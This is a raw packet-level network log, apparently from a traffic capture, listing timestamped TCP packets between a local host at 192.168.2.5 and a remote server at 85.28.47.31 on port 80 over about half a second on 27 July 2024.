Jul 27, 2024 12:01:14.561217070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.561220884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561247110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.561264038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647119045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647151947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647167921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647200108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647227049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647268057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647284031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647324085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647398949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647413969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647429943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647439957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647474051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647474051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647520065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647559881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647598028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647614002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647627115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647641897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647653103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647656918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.647674084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647686958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647701979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.647989035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648004055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648017883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648031950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648040056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648046017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648061037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648061991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648077965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648087025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648087025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648091078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648107052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648113012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648113012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648133039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648150921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648443937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648502111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648509979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648518085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648530960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648550987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648550987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648580074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648780107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648794889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648808956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648824930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648828983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648838997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648844957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648853064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648861885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648868084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648880959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648880959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648883104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648905039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648906946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648922920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648921013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648937941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648946047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648952961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.648962021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.648972988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649003029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649003029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649180889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649468899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649485111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649529934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649636030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649651051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649662971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649678946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649693966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649693966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649708033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649719954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649719954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649723053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649738073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649746895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649746895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649754047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649765968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649769068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649785042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649790049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649800062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649808884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649815083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.649823904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649842978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.649856091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650585890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650600910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650613070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650629044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650636911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650644064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650657892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650659084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650674105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650684118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650684118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650688887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650702953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650703907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650717974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650729895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650729895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650732040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650731087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650748014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650759935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650760889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650774956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650777102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650790930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.650799990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650799990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650824070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.650824070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.651350021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.651365995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.651377916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.651412010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.651439905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.689594030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.694741011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877625942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877661943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877680063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877696037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877705097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.877712965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877728939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877746105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877774954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.877774954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.877799988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.877872944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.877919912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.877986908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878001928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878024101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878026009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878041983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878056049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878057003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878072023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878072977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878088951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878097057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878104925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878112078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878122091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878137112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878139019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878165007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878190994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878763914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878779888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878796101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878810883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878815889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878828049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878844976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878865004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878869057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878869057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878880024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878892899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878895998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878911018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878912926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878927946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878932953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878942966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878952980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878952980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.878958941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878976107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.878978968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879005909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879005909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879024982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879692078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879708052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879722118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879738092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879738092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879753113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879764080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879764080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879769087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879784107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879785061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879798889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879806042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879813910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879822969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879829884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879843950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879846096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879862070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879872084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879877090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879890919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879894018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.879915953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.879940987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.880554914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880569935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880584002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880599976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880614996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880615950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.880630970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880641937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.880645990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880661011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880661964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.880676031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880681992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.880692005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880707026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880713940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.880723000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.880733967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.880758047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.880773067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881360054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881375074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881390095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881403923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881409883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881418943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881429911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881433964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881449938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881458998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881464958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881479979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881481886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881494045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881509066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881511927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881524086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881531000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881540060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881550074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881556034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.881586075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.881598949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882256985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882280111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882294893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882309914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882318020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882323980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882334948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882339954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882354021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882359982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882369041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882375956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882385015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882396936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882400036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882414103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882417917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882428885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882437944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882443905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882452965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882458925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882476091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.882483959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882503033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.882524967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883230925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883248091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883263111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883277893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883284092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883291960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883305073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883306980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883323908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883337021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883338928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883353949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883363962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883368969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883383989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883384943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883399010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883409023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883418083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883429050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883434057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883450031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.883449078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883474112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883486986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.883505106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.884058952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.884073973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.884088993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.884104013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.884115934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.884118080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.884135008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.884140968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.884160042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.884186983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.969819069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.969841003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.969867945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.969885111 CEST	80	49704	85.28.47.31	192.168.2.5
